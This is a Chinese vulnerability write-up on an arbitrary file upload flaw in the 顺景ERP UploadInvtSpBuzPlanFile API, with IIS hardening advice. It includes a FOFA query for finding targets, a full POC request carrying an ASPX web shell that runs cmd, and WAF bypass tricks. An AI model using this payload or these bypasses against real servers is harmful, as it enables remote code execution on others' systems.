简介:本资源聚焦顺景ERP管理系统UploadInvtSpBuzPlanFile接口的任意文件上传漏洞,面向具备网络安全攻防经验的研究人员、企业安全团队成员及关注系统安全的技术专家。内容涵盖漏洞发现路径、FOFA指纹识别、HTTP POST请求构造与POC验证全过程,并深入分析利用该漏洞实现远程命令执行的具体细节及其对Web API服务配置的影响,帮助读者评估现有系统是否受此类威胁、学习检测与防范思路。资源包共1个文件,为1.34MB的PDF文档,结构紧凑便于查阅。目前已有111人学习。通过阅读可掌握常见Web应用漏洞的挖掘方法、文件上传漏洞的验证流程与IIS配置层面的加固要点,适合在合法授权范围内开展安全测试与漏洞修复工作。
1. 一个上传接口,为什么能直接拿到服务器命令执行权限
很多人看到「任意文件上传漏洞」这几个字,第一反应是「不就是传个文件吗,能有多严重」。但真正在安全评估里翻过车的人都知道,文件上传一旦和后端脚本解析、IIS 的扩展名映射、.NET 的请求处理管线叠在一起,它就不再是「传个文件」这么简单了——它是一条从 HTTP 请求直达操作系统命令执行的完整链路。顺景ERP管理系统里的UploadInvtSpBuzPlanFile接口就是这样一个典型案例:它挂在/api/cgInvtSp/这个 WebAPI 路由下,接收multipart/form-data请求,把客户端提交的文件写到服务器上,却没有对文件类型、扩展名、落盘路径做足够严格的约束。结果就是,一个普通的 POST 请求,配合一个.aspx文件,就能让服务器替你执行whoami。这篇文章不教你怎么用工具,而是把这条链路拆开:漏洞的触发点在哪、IIS 和 .NET 是怎么把上传的文件变成可执行代码的、POC 里每一段到底在干什么、以及为什么很多团队在修复时只堵了一半。
2. 漏洞触发链路:从 HTTP 请求到文件落盘的完整机制
2.1 接口的暴露面:FOFA 语法背后的路由特征
先看这个接口是怎么被定位到的。POC 里给出的 FOFA 语法是body="/api/DBRecord/getDBRecords",这是一个典型的「指纹式」检索思路:不直接搜漏洞接口本身,而是搜这套 ERP 系统在页面上必然会出现的一个特征字符串。/api/DBRecord/getDBRecords是系统内部一个通用的数据记录查询接口,几乎每个部署了这套系统的实例都会在某个页面或 JS 文件里引用它。用这个特征去匹配,能把目标资产范围缩小到「确实部署了这套 ERP」的机器上,再去逐个验证UploadInvtSpBuzPlanFile是否存在。
这里有一个容易被忽略的机制点:/api/cgInvtSp/UploadInvtSpBuzPlanFile这个路径本身暴露了系统的路由组织方式。cgInvtSp大概率是「采购库存调拨单」之类的业务模块缩写,UploadInvtSpBuzPlanFile则是「上传库存调拨业务计划文件」的动作。也就是说,这个接口的设计初衷是让业务人员上传 Excel 或 PDF 之类的计划文档,供后端解析入库。它的参数名是file,Content-Type 是multipart/form-data,boundary 是标准的 WebKit 格式——这些都是正常业务上传该有的样子。问题出在,后端拿到这个file之后,只做了「存下来」这个动作,没有做「存成什么、存到哪、存完能不能被当代码执行」这三层校验。
2.2 multipart 解析与落盘:.NET 是怎么处理上传流的
在 .NET 的 WebAPI 里,处理multipart/form-data通常有两种写法。一种是控制器方法直接接收HttpPostedFile或IFormFile,由框架负责把请求体里的分段解析出来;另一种是手动读Request.Content.ReadAsMultipartAsync(),自己遍历HttpContent。无论哪种,最终都会拿到一个「文件名 + 内容流」的组合。常见的实现思路是:从Content-Disposition头里取出filename,然后拼一个服务器上的保存路径,比如Server.MapPath("~/Uploads/" + filename),再把流写进去。
// 典型的「看起来没问题」的上传处理逻辑 var file = Request.Files["file"]; if (file != null && file.ContentLength > 0) { // 只取了文件名,没有做扩展名白名单 var fileName = Path.GetFileName(file.FileName); // 拼接物理路径,直接落盘 var savePath = Server.MapPath("~/Uploads/" + fileName); file.SaveAs(savePath); return Ok(new { path = savePath }); }这段代码的问题不在语法,而在两个默认假设:第一,它假设filename一定是业务人员会传的.xlsx或.pdf;第二,它假设~/Uploads/这个目录下的文件不会被 Web 服务器当脚本执行。这两个假设在 IIS + .NET 的环境里,只要有一个不成立,漏洞就成立了。而UploadInvtSpBuzPlanFile这个接口,从 POC 能直接传.aspx并成功执行来看,两个假设都不成立:扩展名没过滤,落盘目录还在 Web 根目录的可访问路径下。
2.3 从文件到代码:IIS 的扩展名映射与 .NET 请求管线
这是整个漏洞里最关键的机制,也是很多只做「前端校验」的团队最容易漏掉的一环。IIS 本身并不「执行」文件,它做的是「根据扩展名把请求分发给对应的处理器」。在 IIS 的配置里,.aspx被映射到System.Web.UI.PageHandlerFactory或类似的 ASP.NET 处理器;.ashx映射到SimpleHandlerFactory;.asmx映射到 WebService 处理器。当浏览器请求http://target/Uploads/1.aspx时,IIS 看到.aspx,就把这个请求交给 ASP.NET 运行时,运行时再编译并执行这个文件里的代码。
<!-- IIS 里 .aspx 的处理器映射(简化示意) --> <handlers> <add name="ASPX" path="*.aspx" verb="*" type="System.Web.UI.PageHandlerFactory" resourceType="File" preCondition="integratedMode" /> </handlers>所以,上传一个.aspx文件,本质上不是「传了一个文件」,而是「往服务器的可执行目录里写了一段会被 IIS 主动编译执行的代码」。POC 里那段<%@ Page Language="Jscript" validateRequest="false" %>开头的代码,就是一段标准的 ASP.NET 页面:它用System.Diagnostics.ProcessStartInfo启动cmd,执行/c whoami,再把标准输出和错误输出读回来写到响应里。validateRequest="false"是为了绕过 ASP.NET 默认的请求验证(防止 XSS 和注入的那层),让这段代码能顺利接收和执行。换句话说,攻击者不需要任何额外的漏洞链,上传成功即代码执行。
3. POC 逐段拆解:请求构造、边界与命令执行细节
3.1 请求行与头部:为什么这些字段是必须的
POC 的请求行是POST /api/cgInvtSp/UploadInvtSpBuzPlanFile HTTP/1.1,这是标准的 HTTP/1.1 请求。Host字段在真实环境里要替换成目标地址,POC 里写成3只是占位。User-Agent伪装成 Chrome 127,这是为了绕过一些基于 UA 的简单拦截规则——很多 WAF 或自研网关会把「非浏览器 UA」的 POST 请求直接拦掉,所以用真实浏览器 UA 是常规操作。
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7yyQ5XLHOn6WZ6MT这一行是核心。multipart/form-data告诉后端「这个请求体是分段的」,boundary则是分段之间的分隔符。后端解析时,会按这个 boundary 把请求体切成若干段,每段有自己的Content-Disposition和Content-Type。POC 里的 boundary 是----WebKitFormBoundary7yyQ5XLHOn6WZ6MT,这个值本身不重要,重要的是它必须和请求体里实际使用的分隔符完全一致,否则后端解析会失败,文件根本传不上去。
Content-Length: 685是请求体的字节长度。这个值必须准确,因为 HTTP/1.1 里后端会按这个长度读取请求体,长度不对会导致截断或挂起。Accept-Encoding: gzip, deflate和Accept-Language是常规的浏览器头,Connection: close表示请求完成后关闭连接,避免 keep-alive 带来的状态干扰。
3.2 分段体:filename 与 Content-Type 的欺骗空间
请求体的第一段是:
------WebKitFormBoundary7yyQ5XLHOn6WZ6MT Content-Disposition: form-data; name="file"; filename="1.aspx" Content-Type: image/png这里有两个关键点。第一,name="file"必须和后端代码里读取的参数名一致,否则后端拿不到这个文件。第二,filename="1.aspx"是攻击载荷的「名字」,后端如果直接用这个名字拼路径,落盘的就是1.aspx。第三,Content-Type: image/png是故意写错的——文件内容是 ASP.NET 代码,但声明的 MIME 类型是图片。这是为了绕过那些「只检查 Content-Type 白名单」的校验逻辑。很多上传接口会检查Content-Type是不是image/*或application/pdf,但不会去读文件内容的魔术字节(magic bytes),所以把Content-Type写成image/png就能骗过这一层。
------WebKitFormBoundary7yyQ5XLHOn6WZ6MT Content-Disposition: form-data; name="file"; filename="1.aspx" Content-Type: image/png <%@ Page Language="Jscript" validateRequest="false" %> <% var c = new System.Diagnostics.ProcessStartInfo("cmd"); var e = new System.Diagnostics.Process(); var out:System.IO.StreamReader, EI:System.IO.StreamReader; c.UseShellExecute = false; c.RedirectStandardOutput = true; c.RedirectStandardError = true; e.StartInfo = c; c.Arguments = "/c whoami"; e.Start(); out = e.StandardOutput; EI = e.StandardError; e.Close(); Response.Write(out.ReadToEnd() + EI.ReadToEnd()); Response.End(); %> ------WebKitFormBoundary7yyQ5XLHOn6WZ6MT--这段 ASP.NET 代码的逻辑很直白:创建一个ProcessStartInfo,指定要启动的程序是cmd;设置UseShellExecute = false是为了能重定向标准输出和错误输出;RedirectStandardOutput和RedirectStandardError都设为true,这样cmd的输出不会直接打到服务器控制台,而是被程序捕获;Arguments = "/c whoami"表示执行whoami命令后立即退出;e.Start()启动进程;最后把标准输出和错误输出拼起来,通过Response.Write返回给客户端。Response.End()确保页面在这里终止,不再输出其他内容。
3.3 落盘之后:访问路径与执行时机
上传成功后,文件会落在服务器上的某个目录里。POC 没有给出具体的访问 URL,但从接口路径/api/cgInvtSp/UploadInvtSpBuzPlanFile和常见的目录结构推测,落盘路径大概率在 Web 根目录下的某个上传目录,比如/Uploads/、/UploadFiles/或/api/cgInvtSp/Uploads/。攻击者只需要用浏览器或 curl 访问http://target/对应目录/1.aspx,IIS 就会把.aspx交给 ASP.NET 运行时编译执行,返回whoami的结果。
这里有一个时间窗口的问题:ASP.NET 第一次执行一个.aspx文件时,会先编译再执行,所以第一次访问可能会慢一点,但之后就是直接执行编译好的程序集。这意味着,只要文件落盘成功,执行只是「访问一下」的事。而且,如果上传目录同时允许目录浏览(IIS 的Directory Browsing开启),攻击者甚至不需要知道文件名,直接列目录就能找到自己传上去的文件。
4. 避坑与排查:这类上传漏洞在真实环境里的常见翻车点
4.1 现象:POC 返回 200 但文件没执行
原因通常有三种。第一种,落盘目录不在 Web 根目录下,或者虽然能访问但 IIS 没有为这个目录配置.aspx的处理器映射。IIS 的处理器映射是按路径生效的,如果上传目录被配置成「静态文件目录」,.aspx请求会被当成静态文件下载,而不是执行。第二种,文件落盘时被重命名了,比如后端把1.aspx改成了1.aspx.jpg或1_20250101.aspx,导致访问路径对不上。第三种,ASP.NET 的validateRequest默认是true,如果上传的代码里没有validateRequest="false",且请求里带了会被判定为危险的字符,页面会直接抛HttpRequestValidationException。
解决方式是:先确认落盘路径和访问路径是否一致,可以用一个内容为纯文本的.aspx文件测试,看访问时是返回文本内容还是执行结果;如果返回文本,说明 IIS 没把它当脚本;如果返回 500 错误,看错误信息里有没有validateRequest相关的提示。
4.2 现象:上传成功但访问 404
这通常是路径拼接的问题。后端可能把文件存到了~/App_Data/Uploads/这种默认不可通过 URL 访问的目录,或者存到了~/Uploads/2025/01/这种带日期的子目录里,而 POC 里没有体现这个路径规则。排查方法是:上传一个文件名很特殊的文件(比如test_abc123.aspx),然后在服务器上搜索这个文件名,看它实际落在哪个目录;或者用目录扫描工具去猜常见的上传目录。
4.3 现象:WAF 拦截了上传请求
很多 WAF 会对multipart/form-data里的filename做扩展名检查,看到.aspx、.ashx、.asmx就直接拦。绕过思路通常有几种:把扩展名写成.asPx、.aspx;.jpg、.aspx%00.jpg这种变体,看后端和 WAF 的解析差异;或者把Content-Type改成image/png并配合文件头伪造(在 ASP.NET 代码前加GIF89a之类的魔术字节),骗过基于内容检测的 WAF。但要注意,这些绕过手段是否有效,取决于目标环境的 WAF 规则和后端解析逻辑,不是通用的。
4.4 现象:命令执行了但读不到输出
如果whoami执行了但响应里没有输出,可能是RedirectStandardOutput没设对,或者cmd的路径不对(有些服务器环境变量里没有cmd,需要写全路径C:\Windows\System32\cmd.exe)。另外,如果服务器开了DisableCmd之类的策略,cmd可能被禁用,这时候需要换其他方式,比如用powershell或者直接写文件。排查时可以先传一个只做Response.Write("test")的.aspx,确认代码执行本身没问题,再逐步加命令执行的逻辑。
4.5 现象:修复后换个接口又能传
这是最典型的「只堵一个点」问题。很多团队发现UploadInvtSpBuzPlanFile有漏洞后,只在这个接口里加了扩展名白名单,但系统里其他上传接口(比如头像上传、附件上传、导入 Excel)用的是同一套底层上传逻辑,或者同样没有校验。正确的修复思路是在框架层面统一处理:所有上传文件重命名(用 UUID 或时间戳,不保留原始扩展名)、落盘到非 Web 根目录、对上传目录禁用脚本执行权限(IIS 里可以配置handler只允许静态文件)、对文件内容做魔术字节校验。只改一个接口,等于没改。
5. 设计取舍:上传功能的安全边界到底该划在哪
把上传功能做安全,本质上是在「业务便利性」和「攻击面控制」之间做取舍。业务方希望上传越简单越好,最好什么格式都能传、传完就能访问;安全方希望上传越受限越好,最好只能传白名单格式、传完不能直接访问。这两个诉求天然冲突,而UploadInvtSpBuzPlanFile这个漏洞,就是冲突里「便利性压倒安全性」的典型结果。
常见的实现思路里,比较稳妥的做法是三层防御。第一层是「重命名 + 隔离存储」:不管用户传什么文件名,后端都生成一个随机名,并且把文件存到 Web 根目录之外的目录,比如D:\AppData\Uploads\,然后通过一个专门的下载接口(比如/api/file/download?id=xxx)来读取,这个接口做权限校验,不直接暴露物理路径。第二层是「内容校验」:不只看扩展名和 Content-Type,还要读文件头的魔术字节,确认它真的是声明的类型。第三层是「执行隔离」:上传目录在 IIS 里配置成「只允许静态文件」,任何脚本扩展名的请求都返回 404 或 403,这样即使前两层被绕过,文件也执行不了。
<!-- IIS 里限制上传目录只允许静态文件 --> <location path="Uploads"> <system.webServer> <handlers> <clear /> <add name="StaticFile" path="*" verb="*" modules="StaticFileModule" resourceType="File" requireAccess="Read" /> </handlers> </system.webServer> </location>这段配置的作用是:在Uploads这个路径下,清空所有继承的处理器映射,只保留静态文件处理器。这样,即使有人传了.aspx进去,IIS 也不会把它交给 ASP.NET 运行时,而是当成普通文件处理(要么下载,要么 404)。这是成本最低、效果最直接的一层防护,但前提是上传目录和业务代码目录要分开,不能混在一起。
验证修复是否到位,可以用一个「无害的探针」:传一个内容为hello的.aspx文件,然后访问它。如果返回的是hello文本,说明 IIS 把它当静态文件了,修复生效;如果返回的是编译错误或执行结果,说明脚本执行权限还在。这个测试不需要真的执行命令,风险可控。
从那以后我每次看上传接口,都会先问三个问题:文件存到哪、存成什么名、存完能不能被当代码执行。这三个问题里只要有一个答不清楚,我就默认这个接口有问题。希望帮到你。
本文还有配套的精品资源,点击获取